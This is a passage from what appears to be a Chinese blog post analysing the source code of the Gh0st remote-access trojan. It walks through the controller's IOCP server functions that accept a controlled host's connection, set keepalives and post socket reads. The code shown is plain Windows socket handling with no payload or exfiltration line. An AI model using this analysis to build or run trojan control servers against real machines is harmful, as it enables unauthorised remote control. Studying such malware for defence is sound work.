    BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

   

    if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))

    {           

        RemoveStaleClient(pContext,TRUE);

        return;

    }

 

    m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);

 

    // Post to WSARecv Next

    PostRecv(pContext);

}

 

设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:

设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定受控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。

 

继续分析CIOCPServer::OnAccept()这个函数未解读的部分

 

保存这个会话数据结构到m_listContexts这个变量中,接下来向完成端口投递一个名称为IOInitialize的请求,请求完成端口能处理这个请求,而完成端口对这个请求的处理,我们根据前面的分析,应该由CIOCPServer::OnClientInitializing:这个函数来处理,我们看看这个函数的实现方式:

bool CIOCPServer::OnClientInitializing(ClientContext* pContext, DWORD dwIoSize)

{

    // We are not actually doing anything here, but we could for instance make

    // a call to Send() to send a greeting message or something

 

    return true;        // make sure to issue a read after this

}

 并没有做什么特别的处理。   接着调用了与界面进行交互的那个通知函数,我们这次再次进入这个函数里追踪一下上线这个过程。通过追踪NC_CLIENT_CONNECT这个变量我们发现,程序中并没有对这个通知做任何特殊的处理。接下来是调用了PostRecvpContext)这个函数,让我们看看这个函数的实现过程

void CIOCPServer::PostRecv(ClientContext* pContext)

{

    // issue a read request

    OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IORead);

    ULONG           ulFlags = MSG_PARTIAL;

    DWORD           dwNumberOfBytesRecvd;

    UINT nRetVal = WSARecv(pContext->m_Socket,

        &pContext->m_wsaInBuffer,

        1,

        &dwNumberOfBytesRecvd,

        &ulFlags,

        &pOverlap->m_ol,

        NULL);

   

    if ( nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)

    {

        RemoveStaleClient(pContext, FALSE);

    }

}

 这个函数就是向完成端口投递一个接收数据的请求,以待后续有数据传输过来的时候,会有完成端口的工作线程负责调用相应的函数去处理。   至此,主控端就顺利的完成了一次被上线主机的一个接收过程,接下来的过程,是受控端主动主控端发送上线包的这么一个过程,以及,被控端对各种控制命令的一个响应的过程。

 

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蚂蚁_CrkRes

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值